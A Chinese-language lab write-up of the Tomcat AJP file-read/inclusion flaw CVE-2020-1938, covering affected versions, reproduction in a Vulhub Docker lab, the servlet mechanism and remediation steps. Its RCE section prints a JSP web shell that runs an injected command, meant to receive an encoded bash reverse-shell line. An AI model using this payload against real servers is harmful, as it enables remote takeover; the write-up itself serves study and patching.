CVE-2020-1938(Tomcat AJP漏洞)¶
漏洞描述¶
Tomcat在server.xml中配置有HTTP连接器和AJP连接器,AJP连接器可以通过AJP协议与另一个web容器进行交互。AJP协议是定向包协议,其使用端口为8009端口,为提高性能,AJP协议采用二进制形势代替文本形势。
在2020年2月20日,CNVD发布了漏洞公告。该漏洞是Tomcat AJP协议存在缺陷而导致,攻击者可以通过构造特定的参数,读取tomcat的webapps/ROOT目录下的任意文件。同时,若该服务器存在文件上传功能,攻击者还可以进一步实现远程代码执行。
影响版本¶
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
环境配置¶
- Vulhub项目
- Docker-compose启动

漏洞复现¶
漏洞存在验证¶

看到AJP开放

可以看到Tomcat版本为9.0.30,符合漏洞利用范围
MSF复现¶



尝试读取ROOT目录下其他文件,也成功
脚本/工具复现¶
脚本参考:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/

RCE复现¶
Important
能实现RCE的前提是需要服务器有文件上传点且需要知道上传路径(ROOT下)
脚本参考:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
Bash在线编码:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
# 以下为上传的恶意payload,命名为txt文件
<%
java.io.InputStream in = Runtime.getRuntime().exec({PAYLOAD}).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
# {PAYLOAD}填入编码后的Bash反弹命令
# 反弹shell用的命令需要进行bash编码

可以看到成功反弹shell
漏洞原理¶
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel
Tomcat web.xml中的默认Servlet¶
我们通过翻阅网上关于Tomcat的架构的一些文章和资料得知,在Tomcat $CATALINA_BASE/conf/web.xml这个配置文件中默认定义了两个Servlet
- DefaultServlet

- JspServlet

由于 $CATALINA_BASE/conf/web.xml这个文件是tomcat启动时默认加载的,所以这两个Servlet会默认存在Servlet容器中
当我们请求的URI不能和任何Servlet匹配时,就会默认由 DefaultServlet来处理,DefaultServlet主要用于处理静态资源,如HTML、图片、CSS、JS文件等,而且为了提升服务器性能,Tomcat对访问文件进行缓存。按照默认配置,客户端请求路径与资源的物理路径是一致的。
我们看到我们请求的URI为“/asdf”这就符合了无法匹配后台任何的Servlet这么一个条件,这里要注意一下,举个例子,譬如我们请求一个“abc.jsp” 但是后台没有“abc.jsp” 这种不属于无法匹配任何Servlet,因为.jsp的请求会默认走JspServlet来进行处理

具体代码分析参考:
https://www.freebuf.com/articles/web/356592.html
https://bbs.huaweicloud.com/blogs/395802
修复建议¶
Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复
要正确修复此漏洞,首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议:
- 如果未使用集群或反向代理,则基本上可以确定没有用到 AJP;
- 如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信
如果未使用 Tomcat AJP 协议:¶
如果确定未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。
而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。
具体步骤:¶
(1)编辑
(2)将此行注释掉(或直接删掉此行):
(3)更改完毕后,重启 Tomcat 即可。
除以上措施外,当然也可以采用防火墙等办法以阻止不可信任的来源访问 Tomcat AJP Connector 端口。
如果使用了 Tomcat AJP 协议:¶
如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。
例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />
而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
参考长亭科技:https://www.chaitin.cn/zh/ghostcat